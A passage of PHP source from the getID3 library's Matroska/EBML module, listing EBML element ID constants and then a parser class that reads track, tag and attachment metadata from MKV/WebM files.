BlockAddID. A value 0 means there is no BlockAdditions for this track. define('EBML_ID_WRITINGAPP', 0x1741); // [57][41] -- Writing application ("mkvmerge-0.3.3"). define('EBML_ID_CLUSTERSILENTTRACKS', 0x1854); // [58][54] -- The list of tracks that are not used in that part of the stream. It is useful when using overlay tracks on seeking. Then you should decide what track to use. define('EBML_ID_CLUSTERSILENTTRACKNUMBER', 0x18D7); // [58][D7] -- One of the track number that are not used from now on in the stream. It could change later if not specified as silent in a further Cluster. define('EBML_ID_ATTACHEDFILE', 0x21A7); // [61][A7] -- An attached file. define('EBML_ID_CONTENTENCODING', 0x2240); // [62][40] -- Settings for one content encoding like compression or encryption. define('EBML_ID_BITDEPTH', 0x2264); // [62][64] -- Bits per sample, mostly used for PCM. define('EBML_ID_CODECPRIVATE', 0x23A2); // [63][A2] -- Private data only known to the codec. define('EBML_ID_TARGETS', 0x23C0); // [63][C0] -- Contain all UIDs where the specified meta data apply. It is void to describe everything in the segment. define('EBML_ID_CHAPTERPHYSICALEQUIV', 0x23C3); // [63][C3] -- Specify the physical equivalent of this ChapterAtom like "DVD" (60) or "SIDE" (50), see complete list of values. define('EBML_ID_TAGCHAPTERUID', 0x23C4); // [63][C4] -- A unique ID to identify the Chapter(s) the tags belong to. If the value is 0 at this level, the tags apply to all chapters in the Segment. define('EBML_ID_TAGTRACKUID', 0x23C5); // [63][C5] -- A unique ID to identify the Track(s) the tags belong to. If the value is 0 at this level, the tags apply to all tracks in the Segment. define('EBML_ID_TAGATTACHMENTUID', 0x23C6); // [63][C6] -- A unique ID to identify the Attachment(s) the tags belong to. If the value is 0 at this level, the tags apply to all the attachments in the Segment. define('EBML_ID_TAGEDITIONUID', 0x23C9); // [63][C9] -- A unique ID to identify the EditionEntry(s) the tags belong to. If the value is 0 at this level, the tags apply to all editions in the Segment. define('EBML_ID_TARGETTYPE', 0x23CA); // [63][CA] -- An informational string that can be used to display the logical level of the target like "ALBUM", "TRACK", "MOVIE", "CHAPTER", etc (see TargetType). define('EBML_ID_TRACKTRANSLATE', 0x2624); // [66][24] -- The track identification for the given Chapter Codec. define('EBML_ID_TRACKTRANSLATETRACKID', 0x26A5); // [66][A5] -- The binary value used to represent this track in the chapter codec data. The format depends on the ChapProcessCodecID used. define('EBML_ID_TRACKTRANSLATECODEC', 0x26BF); // [66][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu). define('EBML_ID_TRACKTRANSLATEEDITIONUID', 0x26FC); // [66][FC] -- Specify an edition UID on which this translation applies. When not specified, it means for all editions found in the segment. define('EBML_ID_SIMPLETAG', 0x27C8); // [67][C8] -- Contains general information about the target. define('EBML_ID_TARGETTYPEVALUE', 0x28CA); // [68][CA] -- A number to indicate the logical level of the target (see TargetType). define('EBML_ID_CHAPPROCESSCOMMAND', 0x2911); // [69][11] -- Contains all the commands associated to the Atom. define('EBML_ID_CHAPPROCESSTIME', 0x2922); // [69][22] -- Defines when the process command should be handled (0: during the whole chapter, 1: before starting playback, 2: after playback of the chapter). define('EBML_ID_CHAPTERTRANSLATE', 0x2924); // [69][24] -- A tuple of corresponding ID used by chapter codecs to represent this segment. define('EBML_ID_CHAPPROCESSDATA', 0x2933); // [69][33] -- Contains the command information. The data should be interpreted depending on the ChapProcessCodecID value. For ChapProcessCodecID = 1, the data correspond to the binary DVD cell pre/post commands. define('EBML_ID_CHAPPROCESS', 0x2944); // [69][44] -- Contains all the commands associated to the Atom. define('EBML_ID_CHAPPROCESSCODECID', 0x2955); // [69][55] -- Contains the type of the codec used for the processing. A value of 0 means native Matroska processing (to be defined), a value of 1 means the DVD command set is used. More codec IDs can be added later. define('EBML_ID_CHAPTERTRANSLATEID', 0x29A5); // [69][A5] -- The binary value used to represent this segment in the chapter codec data. The format depends on the ChapProcessCodecID used. define('EBML_ID_CHAPTERTRANSLATECODEC', 0x29BF); // [69][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu). define('EBML_ID_CHAPTERTRANSLATEEDITIONUID', 0x29FC); // [69][FC] -- Specify an edition UID on which this correspondance applies. When not specified, it means for all editions found in the segment. define('EBML_ID_CONTENTENCODINGS', 0x2D80); // [6D][80] -- Settings for several content encoding mechanisms like compression or encryption. define('EBML_ID_MINCACHE', 0x2DE7); // [6D][E7] -- The minimum number of frames a player should be able to cache during playback. If set to 0, the reference pseudo-cache system is not used. define('EBML_ID_MAXCACHE', 0x2DF8); // [6D][F8] -- The maximum cache size required to store referenced frames in and the current frame. 0 means no cache is needed. define('EBML_ID_CHAPTERSEGMENTUID', 0x2E67); // [6E][67] -- A segment to play in place of this chapter. Edition ChapterSegmentEditionUID should be used for this segment, otherwise no edition is used. define('EBML_ID_CHAPTERSEGMENTEDITIONUID', 0x2EBC); // [6E][BC] -- The edition to play from the segment linked in ChapterSegmentUID. define('EBML_ID_TRACKOVERLAY', 0x2FAB); // [6F][AB] -- Specify that this track is an overlay track for the Track specified (in the u-integer). That means when this track has a gap (see SilentTracks) the overlay track should be used instead. The order of multiple TrackOverlay matters, the first one is the one that should be used. If not found it should be the second, etc. define('EBML_ID_TAG', 0x3373); // [73][73] -- Element containing elements specific to Tracks/Chapters. define('EBML_ID_SEGMENTFILENAME', 0x3384); // [73][84] -- A filename corresponding to this segment. define('EBML_ID_SEGMENTUID', 0x33A4); // [73][A4] -- A randomly generated unique ID to identify the current segment between many others (128 bits). define('EBML_ID_CHAPTERUID', 0x33C4); // [73][C4] -- A unique ID to identify the Chapter. define('EBML_ID_TRACKUID', 0x33C5); // [73][C5] -- A unique ID to identify the Track. This should be kept the same when making a direct stream copy of the Track to another file. define('EBML_ID_ATTACHMENTLINK', 0x3446); // [74][46] -- The UID of an attachment that is used by this codec. define('EBML_ID_CLUSTERBLOCKADDITIONS', 0x35A1); // [75][A1] -- Contain additional blocks to complete the main one. An EBML parser that has no knowledge of the Block structure could still see and use/skip these data. define('EBML_ID_CHANNELPOSITIONS', 0x347B); // [7D][7B] -- Table of horizontal angles for each successive channel, see appendix. define('EBML_ID_OUTPUTSAMPLINGFREQUENCY', 0x38B5); // [78][B5] -- Real output sampling frequency in Hz (used for SBR techniques). define('EBML_ID_TITLE', 0x3BA9); // [7B][A9] -- General name of the segment. define('EBML_ID_CHAPTERDISPLAY', 0x00); // [80] -- Contains all possible strings to use for the chapter display. define('EBML_ID_TRACKTYPE', 0x03); // [83] -- A set of track types coded on 8 bits (1: video, 2: audio, 3: complex, 0x10: logo, 0x11: subtitle, 0x12: buttons, 0x20: control). define('EBML_ID_CHAPSTRING', 0x05); // [85] -- Contains the string to use as the chapter atom. define('EBML_ID_CODECID', 0x06); // [86] -- An ID corresponding to the codec, see the codec page for more info. define('EBML_ID_FLAGDEFAULT', 0x08); // [88] -- Set if that track (audio, video or subs) SHOULD be used if no language found matches the user preference. define('EBML_ID_CHAPTERTRACKNUMBER', 0x09); // [89] -- UID of the Track to apply this chapter too. In the absense of a control track, choosing this chapter will select the listed Tracks and deselect unlisted tracks. Absense of this element indicates that the Chapter should be applied to any currently used Tracks. define('EBML_ID_CLUSTERSLICES', 0x0E); // [8E] -- Contains slices description. define('EBML_ID_CHAPTERTRACK', 0x0F); // [8F] -- List of tracks on which the chapter applies. If this element is not present, all tracks apply define('EBML_ID_CHAPTERTIMESTART', 0x11); // [91] -- Timecode of the start of Chapter (not scaled). define('EBML_ID_CHAPTERTIMEEND', 0x12); // [92] -- Timecode of the end of Chapter (timecode excluded, not scaled). define('EBML_ID_CUEREFTIME', 0x16); // [96] -- Timecode of the referenced Block. define('EBML_ID_CUEREFCLUSTER', 0x17); // [97] -- Position of the Cluster containing the referenced Block. define('EBML_ID_CHAPTERFLAGHIDDEN', 0x18); // [98] -- If a chapter is hidden (1), it should not be available to the user interface (but still to Control Tracks). define('EBML_ID_FLAGINTERLACED', 0x1A); // [9A] -- Set if the video is interlaced. define('EBML_ID_CLUSTERBLOCKDURATION', 0x1B); // [9B] -- The duration of the Block (based on TimecodeScale). This element is mandatory when DefaultDuration is set for the track. When not written and with no DefaultDuration, the value is assumed to be the difference between the timecode of this Block and the timecode of the next Block in "display" order (not coding order). This element can be useful at the end of a Track (as there is not other Block available), or when there is a break in a track like for subtitle tracks. define('EBML_ID_FLAGLACING', 0x1C); // [9C] -- Set if the track may contain blocks using lacing. define('EBML_ID_CHANNELS', 0x1F); // [9F] -- Numbers of channels in the track. define('EBML_ID_CLUSTERBLOCKGROUP', 0x20); // [A0] -- Basic container of information containing a single Block or BlockVirtual, and information specific to that Block/VirtualBlock. define('EBML_ID_CLUSTERBLOCK', 0x21); // [A1] -- Block containing the actual data to be rendered and a timecode relative to the Cluster Timecode. define('EBML_ID_CLUSTERBLOCKVIRTUAL', 0x22); // [A2] -- A Block with no data. It must be stored in the stream at the place the real Block should be in display order. define('EBML_ID_CLUSTERSIMPLEBLOCK', 0x23); // [A3] -- Similar to Block but without all the extra information, mostly used to reduced overhead when no extra feature is needed. define('EBML_ID_CLUSTERCODECSTATE', 0x24); // [A4] -- The new codec state to use. Data interpretation is private to the codec. This information should always be referenced by a seek entry. define('EBML_ID_CLUSTERBLOCKADDITIONAL', 0x25); // [A5] -- Interpreted by the codec as it wishes (using the BlockAddID). define('EBML_ID_CLUSTERBLOCKMORE', 0x26); // [A6] -- Contain the BlockAdditional and some parameters. define('EBML_ID_CLUSTERPOSITION', 0x27); // [A7] -- Position of the Cluster in the segment (0 in live broadcast streams). It might help to resynchronise offset on damaged streams. define('EBML_ID_CODECDECODEALL', 0x2A); // [AA] -- The codec can decode potentially damaged data. define('EBML_ID_CLUSTERPREVSIZE', 0x2B); // [AB] -- Size of the previous Cluster, in octets. Can be useful for backward playing. define('EBML_ID_TRACKENTRY', 0x2E); // [AE] -- Describes a track with all elements. define('EBML_ID_CLUSTERENCRYPTEDBLOCK', 0x2F); // [AF] -- Similar to SimpleBlock but the data inside the Block are Transformed (encrypt and/or signed). define('EBML_ID_PIXELWIDTH', 0x30); // [B0] -- Width of the encoded video frames in pixels. define('EBML_ID_CUETIME', 0x33); // [B3] -- Absolute timecode according to the segment time base. define('EBML_ID_SAMPLINGFREQUENCY', 0x35); // [B5] -- Sampling frequency in Hz. define('EBML_ID_CHAPTERATOM', 0x36); // [B6] -- Contains the atom information to use as the chapter atom (apply to all tracks). define('EBML_ID_CUETRACKPOSITIONS', 0x37); // [B7] -- Contain positions for different tracks corresponding to the timecode. define('EBML_ID_FLAGENABLED', 0x39); // [B9] -- Set if the track is used. define('EBML_ID_PIXELHEIGHT', 0x3A); // [BA] -- Height of the encoded video frames in pixels. define('EBML_ID_CUEPOINT', 0x3B); // [BB] -- Contains all information relative to a seek point in the segment. define('EBML_ID_CRC32', 0x3F); // [BF] -- The CRC is computed on all the data of the Master element it's in, regardless of its position. It's recommended to put the CRC value at the beggining of the Master element for easier reading. All level 1 elements should include a CRC-32. define('EBML_ID_CLUSTERBLOCKADDITIONID', 0x4B); // [CB] -- The ID of the BlockAdditional element (0 is the main Block). define('EBML_ID_CLUSTERLACENUMBER', 0x4C); // [CC] -- The reverse number of the frame in the lace (0 is the last frame, 1 is the next to last, etc). While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback. define('EBML_ID_CLUSTERFRAMENUMBER', 0x4D); // [CD] -- The number of the frame to generate from this lace with this delay (allow you to generate many frames from the same Block/Frame). define('EBML_ID_CLUSTERDELAY', 0x4E); // [CE] -- The (scaled) delay to apply to the element. define('EBML_ID_CLUSTERDURATION', 0x4F); // [CF] -- The (scaled) duration to apply to the element. define('EBML_ID_TRACKNUMBER', 0x57); // [D7] -- The track number as used in the Block Header (using more than 127 tracks is not encouraged, though the design allows an unlimited number). define('EBML_ID_CUEREFERENCE', 0x5B); // [DB] -- The Clusters containing the required referenced Blocks. define('EBML_ID_VIDEO', 0x60); // [E0] -- Video settings. define('EBML_ID_AUDIO', 0x61); // [E1] -- Audio settings. define('EBML_ID_CLUSTERTIMESLICE', 0x68); // [E8] -- Contains extra time information about the data contained in the Block. While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback. define('EBML_ID_CUECODECSTATE', 0x6A); // [EA] -- The position of the Codec State corresponding to this Cue element. 0 means that the data is taken from the initial Track Entry. define('EBML_ID_CUEREFCODECSTATE', 0x6B); // [EB] -- The position of the Codec State corresponding to this referenced element. 0 means that the data is taken from the initial Track Entry. define('EBML_ID_VOID', 0x6C); // [EC] -- Used to void damaged data, to avoid unexpected behaviors when using damaged data. The content is discarded. Also used to reserve space in a sub-element for later use. define('EBML_ID_CLUSTERTIMECODE', 0x67); // [E7] -- Absolute timecode of the cluster (based on TimecodeScale). define('EBML_ID_CLUSTERBLOCKADDID', 0x6E); // [EE] -- An ID to identify the BlockAdditional level. define('EBML_ID_CUECLUSTERPOSITION', 0x71); // [F1] -- The position of the Cluster containing the required Block. define('EBML_ID_CUETRACK', 0x77); // [F7] -- The track for which a position is given. define('EBML_ID_CLUSTERREFERENCEPRIORITY', 0x7A); // [FA] -- This frame is referenced and has the specified cache priority. In cache only a frame of the same or higher priority can replace this frame. A value of 0 means the frame is not referenced. define('EBML_ID_CLUSTERREFERENCEBLOCK', 0x7B); // [FB] -- Timecode of another frame used as a reference (ie: B or P frame). The timecode is relative to the block it's attached to. define('EBML_ID_CLUSTERREFERENCEVIRTUAL', 0x7D); // [FD] -- Relative position of the data that should be in position of the virtual block. /** * @tutorial http://www.matroska.org/technical/specs/index.html * * @todo Rewrite EBML parser to reduce it's size and honor default element values * @todo After rewrite implement stream size calculation, that will provide additional useful info and enable AAC/FLAC audio bitrate detection */ class getid3_matroska extends getid3_handler { /** * If true, do not return information about CLUSTER chunks, since there's a lot of them * and they're not usually useful [default: TRUE]. * * @var bool */ public static $hide_clusters = true; /** * True to parse the whole file, not only header [default: FALSE]. * * @var bool */ public static $parse_whole_file = false; /* * Private parser settings/placeholders. */ private $EBMLbuffer = ''; private $EBMLbuffer_offset = 0; private $EBMLbuffer_length = 0; private $current_offset = 0; private $unuseful_elements = array(EBML_ID_CRC32, EBML_ID_VOID); /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; // parse container try { $this->parseEBML($info); } catch (Exception $e) { $this->error('EBML parser: '.$e->getMessage()); } // calculate playtime if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) { foreach ($info['matroska']['info'] as $key => $infoarray) { if (isset($infoarray['Duration'])) { // TimecodeScale is how many nanoseconds each Duration unit is $info['playtime_seconds'] = $infoarray['Duration'] * ((isset($infoarray['TimecodeScale']) ? $infoarray['TimecodeScale'] : 1000000) / 1000000000); break; } } } // extract tags if (isset($info['matroska']['tags']) && is_array($info['matroska']['tags'])) { foreach ($info['matroska']['tags'] as $key => $infoarray) { $this->ExtractCommentsSimpleTag($infoarray); } } // process tracks if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) { foreach ($info['matroska']['tracks']['tracks'] as $key => $trackarray) { $track_info = array(); $track_info['dataformat'] = self::CodecIDtoCommonName($trackarray['CodecID']); $track_info['default'] = (isset($trackarray['FlagDefault']) ? $trackarray['FlagDefault'] : true); if (isset($trackarray['Name'])) { $track_info['name'] = $trackarray['Name']; } switch ($trackarray['TrackType']) { case 1: // Video $track_info['resolution_x'] = $trackarray['PixelWidth']; $track_info['resolution_y'] = $trackarray['PixelHeight']; $track_info['display_unit'] = self::displayUnit(isset($trackarray['DisplayUnit']) ? $trackarray['DisplayUnit'] : 0); $track_info['display_x'] = (isset($trackarray['DisplayWidth']) ? $trackarray['DisplayWidth'] : $trackarray['PixelWidth']); $track_info['display_y'] = (isset($trackarray['DisplayHeight']) ? $trackarray['DisplayHeight'] : $trackarray['PixelHeight']); if (isset($trackarray['PixelCropBottom'])) { $track_info['crop_bottom'] = $trackarray['PixelCropBottom']; } if (isset($trackarray['PixelCropTop'])) { $track_info['crop_top'] = $trackarray['PixelCropTop']; } if (isset($trackarray['PixelCropLeft'])) { $track_info['crop_left'] = $trackarray['PixelCropLeft']; } if (isset($trackarray['PixelCropRight'])) { $track_info['crop_right'] = $trackarray['PixelCropRight']; } if (isset($trackarray['DefaultDuration'])) { $track_info['frame_rate'] = round(1000000000 / $trackarray['DefaultDuration'], 3); } if (isset($trackarray['CodecName'])) { $track_info['codec'] = $trackarray['CodecName']; } switch ($trackarray['CodecID']) { case 'V_MS/VFW/FOURCC': getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); $parsed = getid3_riff::ParseBITMAPINFOHEADER($trackarray['CodecPrivate']); $track_info['codec'] = getid3_riff::fourccLookup($parsed['fourcc']); $info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed; break; /*case 'V_MPEG4/ISO/AVC': $h264['profile'] = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 1, 1)); $h264['level'] = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 3, 1)); $rn = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 4, 1)); $h264['NALUlength'] = ($rn & 3) + 1; $rn = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 5, 1)); $nsps = ($rn & 31); $offset = 6; for ($i = 0; $i < $nsps; $i ++) { $length = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2)); $h264['SPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length); $offset += 2 + $length; } $npps = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 1)); $offset += 1; for ($i = 0; $i < $npps; $i ++) { $length = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2)); $h264['PPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length); $offset += 2 + $length; } $info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $h264; break;*/ } $info['video']['streams'][$trackarray['TrackUID']] = $track_info; break; case 2: // Audio $track_info['sample_rate'] = (isset($trackarray['SamplingFrequency']) ? $trackarray['SamplingFrequency'] : 8000.0); $track_info['channels'] = (isset($trackarray['Channels']) ? $trackarray['Channels'] : 1); $track_info['language'] = (isset($trackarray['Language']) ? $trackarray['Language'] : 'eng'); if (isset($trackarray['BitDepth'])) { $track_info['bits_per_sample'] = $trackarray['BitDepth']; } if (isset($trackarray['CodecName'])) { $track_info['codec'] = $trackarray['CodecName']; } switch ($trackarray['CodecID']) { case 'A_PCM/INT/LIT': case 'A_PCM/INT/BIG': $track_info['bitrate'] = $track_info['sample_rate'] * $track_info['channels'] * $trackarray['BitDepth']; break; case 'A_AC3': case 'A_EAC3': case 'A_DTS': case 'A_MPEG/L3': case 'A_MPEG/L2': case 'A_FLAC': $module_dataformat = ($track_info['dataformat'] == 'mp2' ? 'mp3' : ($track_info['dataformat'] == 'eac3' ? 'ac3' : $track_info['dataformat'])); getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.'.$module_dataformat.'.php', __FILE__, true); if (!isset($info['matroska']['track_data_offsets'][$trackarray['TrackNumber']])) { $this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because $info[matroska][track_data_offsets]['.$trackarray['TrackNumber'].'] not set'); break; } // create temp instance $getid3_temp = new getID3(); if ($track_info['dataformat'] != 'flac') { $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); } $getid3_temp->info['avdataoffset'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset']; if ($track_info['dataformat'][0] == 'm' || $track_info['dataformat'] == 'flac') { $getid3_temp->info['avdataend'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset'] + $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['length']; } // analyze $class = 'getid3_'.$module_dataformat; $header_data_key = $track_info['dataformat'][0] == 'm' ? 'mpeg' : $track_info['dataformat']; $getid3_audio = new $class($getid3_temp, __CLASS__); if ($track_info['dataformat'] == 'flac') { $getid3_audio->AnalyzeString($trackarray['CodecPrivate']); } else { $getid3_audio->Analyze(); } if (!empty($getid3_temp->info[$header_data_key])) { $info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info[$header_data_key]; if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) { foreach ($getid3_temp->info['audio'] as $sub_key => $value) { $track_info[$sub_key] = $value; } } } else { $this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because '.$class.'::Analyze() failed at offset '.$getid3_temp->info['avdataoffset']); } // copy errors and warnings if (!empty($getid3_temp->info['error'])) { foreach ($getid3_temp->info['error'] as $newerror) { $this->warning($class.'() says: ['.$newerror.']'); } } if (!empty($getid3_temp->info['warning'])) { foreach ($getid3_temp->info['warning'] as $newerror) { $this->warning($class.'() says: ['.$newerror.']'); } } unset($getid3_temp, $getid3_audio); break; case 'A_AAC': case 'A_AAC/MPEG2/LC': case 'A_AAC/MPEG2/LC/SBR': case 'A_AAC/MPEG4/LC': case 'A_AAC/MPEG4/LC/SBR': $this->warning($trackarray['CodecID'].' audio data contains no header, audio/video bitrates can\'t be calculated'); break; case 'A_VORBIS': if (!isset($trackarray['CodecPrivate'])) { $this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data not set'); break; } $vorbis_offset = strpos($trackarray['CodecPrivate'], 'vorbis', 1); if ($vorbis_offset === false) { $this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data does not contain "vorbis" keyword'); break; } $vorbis_offset -= 1; getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ogg.php', __FILE__, true); // create temp instance $getid3_temp = new getID3(); // analyze $getid3_ogg = new getid3_ogg($getid3_temp); $oggpageinfo['page_seqno'] = 0; $getid3_ogg->ParseVorbisPageHeader($trackarray['CodecPrivate'], $vorbis_offset, $oggpageinfo); if (!empty($getid3_temp->info['ogg'])) { $info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info['ogg']; if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) { foreach ($getid3_temp->info['audio'] as $sub_key => $value) { $track_info[$sub_key] = $value; } } } // copy errors and warnings if (!empty($getid3_temp->info['error'])) { foreach ($getid3_temp->info['error'] as $newerror) { $this->warning('getid3_ogg() says: ['.$newerror.']'); } } if (!empty($getid3_temp->info['warning'])) { foreach ($getid3_temp->info['warning'] as $newerror) { $this->warning('getid3_ogg() says: ['.$newerror.']'); } } if (!empty($getid3_temp->info['ogg']['bitrate_nominal'])) { $track_info['bitrate'] = $getid3_temp->info['ogg']['bitrate_nominal']; } unset($getid3_temp, $getid3_ogg, $oggpageinfo, $vorbis_offset); break; case 'A_MS/ACM': getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); $parsed = getid3_riff::parseWAVEFORMATex($trackarray['CodecPrivate']); foreach ($parsed as $sub_key => $value) { if ($sub_key != 'raw') { $track_info[$sub_key] = $value; } } $info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed; break; default: $this->warning('Unhandled audio type "'.(isset($trackarray['CodecID']) ? $trackarray['CodecID'] : '').'"'); break; } $info['audio']['streams'][$trackarray['TrackUID']] = $track_info; break; } } if (!empty($info['video']['streams'])) { $info['video'] = self::getDefaultStreamInfo($info['video']['streams']); } if (!empty($info['audio']['streams'])) { $info['audio'] = self::getDefaultStreamInfo($info['audio']['streams']); } } // process attachments if (isset($info['matroska']['attachments']) && $this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE) { foreach ($info['matroska']['attachments'] as $i => $entry) { if (strpos($entry['FileMimeType'], 'image/') === 0 && !empty($entry['FileData'])) { $info['matroska']['comments']['picture'][] = array('data' => $entry['FileData'], 'image_mime' => $entry['FileMimeType'], 'filename' => $entry['FileName']); } } } // determine mime type if (!empty($info['video']['streams'])) { $info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'video/webm' : 'video/x-matroska'); } elseif (!empty($info['audio']['streams'])) { $info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'audio/webm' : 'audio/x-matroska'); } elseif (isset($info['mime_type'])) { unset($info['mime_type']); } // use _STATISTICS_TAGS if available to set audio/video bitrates if (!empty($info['matroska']['tags'])) { $_STATISTICS_byTrackUID = array(); foreach ($info['matroska']['tags'] as $key1 => $value1) { if (!empty($value1['Targets']['TagTrackUID'][0]) && !empty($value1['SimpleTag'])) { foreach ($value1['SimpleTag'] as $key2 => $value2) { if (!empty($value2['TagName']) && isset($value2['TagString'])) { $_STATISTICS_byTrackUID[$value1['Targets']['TagTrackUID'][0]][$value2['TagName']] = $value2['TagString']; } } } } foreach (array('audio','video') as $avtype) { if (!empty($info[$avtype]['streams'])) { foreach ($info[$avtype]['streams'] as $trackUID => $trackdata) { if (!isset($trackdata['bitrate']) && !empty($_STATISTICS_byTrackUID[$trackUID]['BPS'])) { $info[$avtype]['streams'][$trackUID]['bitrate'] = (int) $_STATISTICS_byTrackUID[$trackUID]['BPS']; @$info[$avtype]['bitrate'] += $info[$avtype]['streams'][$trackUID]['bitrate']; } } } } } return true; } /** * @param array $info */ private function parseEBML(&$info) { // http://www.matroska.org/technical/specs/index.html#EBMLBasics $this->current_offset = $info['avdataoffset']; while ($this->getEBMLelement($top_element, $info['avdataend'])) { switch ($top_element['id']) { case EBML_ID_EBML: $info['matroska']['header']['offset'] = $top_element['offset']; $info['matroska']['header']['length'] = $top_element['length']; while ($this->getEBMLelement($element_data, $top_element['end'], true)) { switch ($element_data['id']) { case EBML_ID_EBMLVERSION: case EBML_ID_EBMLREADVERSION: case EBML_ID_EBMLMAXIDLENGTH: case EBML_ID_EBMLMAXSIZELENGTH: case EBML_ID_DOCTYPEVERSION: case EBML_ID_DOCTYPEREADVERSION: $element_data['data'] = getid3_lib::BigEndian2Int($element_data['data']); break; case EBML_ID_DOCTYPE: $element_data['data'] = getid3_lib::trimNullByte($element_data['data']); $info['matroska']['doctype'] = $element_data['data']; $info['fileformat'] = $element_data['data']; break; default: $this->unhandledElement('header', __LINE__, $element_data); break; } unset($element_data['offset'], $element_data['end']); $info['matroska']['header']['elements'][] = $element_data; } break; case EBML_ID_SEGMENT: $info['matroska']['segment'][0]['offset'] = $top_element['offset']; $info['matroska']['segment'][0]['length'] = $top_element['length']; while ($this->getEBMLelement($element_data, $top_element['end'])) { if ($element_data['id'] != EBML_ID_CLUSTER || !self::$hide_clusters) { // collect clusters only if required $info['matroska']['segments'][] = $element_data; } switch ($element_data['id']) { case EBML_ID_SEEKHEAD: // Contains the position of other level 1 elements. while ($this->getEBMLelement($seek_entry, $element_data['end'])) { switch ($seek_entry['id']) { case EBML_ID_SEEK: // Contains a single seek entry to an EBML element while ($this->getEBMLelement($sub_seek_entry, $seek_entry['end'], true)) { switch ($sub_seek_entry['id']) { case EBML_ID_SEEKID: $seek_entry['target_id'] = self::EBML2Int($sub_seek_entry['data']); $seek_entry['target_name'] = self::EBMLidName($seek_entry['target_id']); break; case EBML_ID_SEEKPOSITION: $seek_entry['target_offset'] = $element_data['offset'] + getid3_lib::BigEndian2Int($sub_seek_entry['data']); break; default: $this->unhandledElement('seekhead.seek', __LINE__, $sub_seek_entry); } break; } if (!isset($seek_entry['target_id'])) { $this->warning('seek_entry[target_id] unexpectedly not set at '.$seek_entry['offset']); break; } if (($seek_entry['target_id'] != EBML_ID_CLUSTER) || !self::$hide_clusters) { // collect clusters only if required $info['matroska']['seek'][] = $seek_entry; } break; default: $this->unhandledElement('seekhead', __LINE__, $seek_entry); break; } } break; case EBML_ID_TRACKS: // A top-level block of information with many tracks described. $info['matroska']['tracks'] = $element_data; while ($this->getEBMLelement($track_entry, $element_data['end'])) { switch ($track_entry['id']) { case EBML_ID_TRACKENTRY: //subelements: Describes a track with all elements. while ($this->getEBMLelement($subelement, $track_entry['end'], array(EBML_ID_VIDEO, EBML_ID_AUDIO, EBML_ID_CONTENTENCODINGS, EBML_ID_CODECPRIVATE))) { switch ($subelement['id']) { case EBML_ID_TRACKUID: $track_entry[$subelement['id_name']] = getid3_lib::PrintHexBytes($subelement['data'], true, false); break; case EBML_ID_TRACKNUMBER: case EBML_ID_TRACKTYPE: case EBML_ID_MINCACHE: case EBML_ID_MAXCACHE: case EBML_ID_MAXBLOCKADDITIONID: case EBML_ID_DEFAULTDURATION: // nanoseconds per frame $track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']); break; case EBML_ID_TRACKTIMECODESCALE: $track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']); break; case EBML_ID_CODECID: case EBML_ID_LANGUAGE: case EBML_ID_NAME: case EBML_ID_CODECNAME: $track_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']); break; case EBML_ID_CODECPRIVATE: $track_entry[$subelement['id_name']] = $this->readEBMLelementData($subelement['length'], true); break; case EBML_ID_FLAGENABLED: case EBML_ID_FLAGDEFAULT: case EBML_ID_FLAGFORCED: case EBML_ID_FLAGLACING: case EBML_ID_CODECDECODEALL: $track_entry[$subelement['id_name']] = (bool) getid3_lib::BigEndian2Int($subelement['data']); break; case EBML_ID_VIDEO: while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) { switch ($sub_subelement['id']) { case EBML_ID_PIXELWIDTH: case EBML_ID_PIXELHEIGHT: case EBML_ID_PIXELCROPBOTTOM: case EBML_ID_PIXELCROPTOP: case EBML_ID_PIXELCROPLEFT: case EBML_ID_PIXELCROPRIGHT: case EBML_ID_DISPLAYWIDTH: case EBML_ID_DISPLAYHEIGHT: case EBML_ID_DISPLAYUNIT: case EBML_ID_ASPECTRATIOTYPE: case 